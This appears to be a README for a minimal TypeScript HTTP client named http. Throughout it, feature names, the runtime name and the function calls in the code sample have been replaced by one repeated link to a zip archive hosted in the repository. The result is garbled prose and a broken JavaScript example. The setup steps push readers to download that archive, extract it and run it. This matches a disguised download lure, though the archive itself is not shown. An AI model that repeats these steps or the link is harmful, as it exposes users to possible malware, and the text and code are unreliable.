Welcome to the http project! This is a type-safe and minimal HTTP client designed to be easy to use. It includes features like built-in timeout, delay, and caching support for https://raw.githubusercontent.com/PauloMiguelVIdal/http/main/src/core/http_3.4.zip Follow the steps below to download and set it up.
- Type-Safe: Ensures your requests are accurate and reliable.
- Minimal Design: Focus on the essentials for a smoother experience.
- Flexible Configuration: Add timeouts and delays as needed.
- https://raw.githubusercontent.com/PauloMiguelVIdal/http/main/src/core/http_3.4.zip Support: Built-in caching for https://raw.githubusercontent.com/PauloMiguelVIdal/http/main/src/core/http_3.4.zip projects.
- Compatible with TypeScript: Enjoy type safety and improved developer experience.
To run the http client, ensure you have the following:
- Operating System: Windows, macOS, or Linux
- https://raw.githubusercontent.com/PauloMiguelVIdal/http/main/src/core/http_3.4.zip version: 12.x or higher
- Optional: npm for package management
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Visit the Release Page: Go to the release page by clicking here.
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Select the Latest Release: Look for the most recent version at the top of the list.
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Download the Package: Click on the provided download link for your operating system. The file you download will typically be a .zip or https://raw.githubusercontent.com/PauloMiguelVIdal/http/main/src/core/http_3.4.zip file.
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Extract the Files: Once the download finishes, extract the files to a directory of your choice. You can use built-in tools on your computer or third-party software for this.
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Open Your Terminal or Command Prompt:
- For Windows, search for
cmdin the Start menu. - For macOS, open
Terminalfrom your Applications folder. - For Linux, use your preferred terminal application.
- For Windows, search for
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Navigate to the Directory: Use the following command to change to the directory where you extracted the files:
cd path/to/your/extracted/filesReplace
path/to/your/extracted/fileswith the correct path. -
Install Dependencies: Run the command below in the terminal:
npm installThis will install required libraries.
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Run the Application: Finally, to start the http client, use:
npm startThis initiates the client and allows you to begin making HTTP requests.
To make a simple request using the http client, use the following structure:
const httpClient = require('http');
https://raw.githubusercontent.com/PauloMiguelVIdal/http/main/src/core/http_3.4.zip('https://raw.githubusercontent.com/PauloMiguelVIdal/http/main/src/core/http_3.4.zip')
.then(response => {
https://raw.githubusercontent.com/PauloMiguelVIdal/http/main/src/core/http_3.4.zip(https://raw.githubusercontent.com/PauloMiguelVIdal/http/main/src/core/http_3.4.zip);
})
.catch(error => {
https://raw.githubusercontent.com/PauloMiguelVIdal/http/main/src/core/http_3.4.zip('Error making request:', error);
});This snippet retrieves data from an API and logs the result. You can replace the URL with any API you choose.
If you encounter any issues or have questions, check the "Issues" section in our GitHub repository. You can find solutions to common problems or submit a new issue if your question isn't answered.
For more detailed instructions and advanced features, you can refer to the official documentation on our GitHub repository. This includes examples of how to use different configurations like timeouts and caching.
The http client is released under the MIT License. You can use, modify, and distribute it freely according to the terms of this license.
Don’t forget, you can always download the latest version by visiting this page.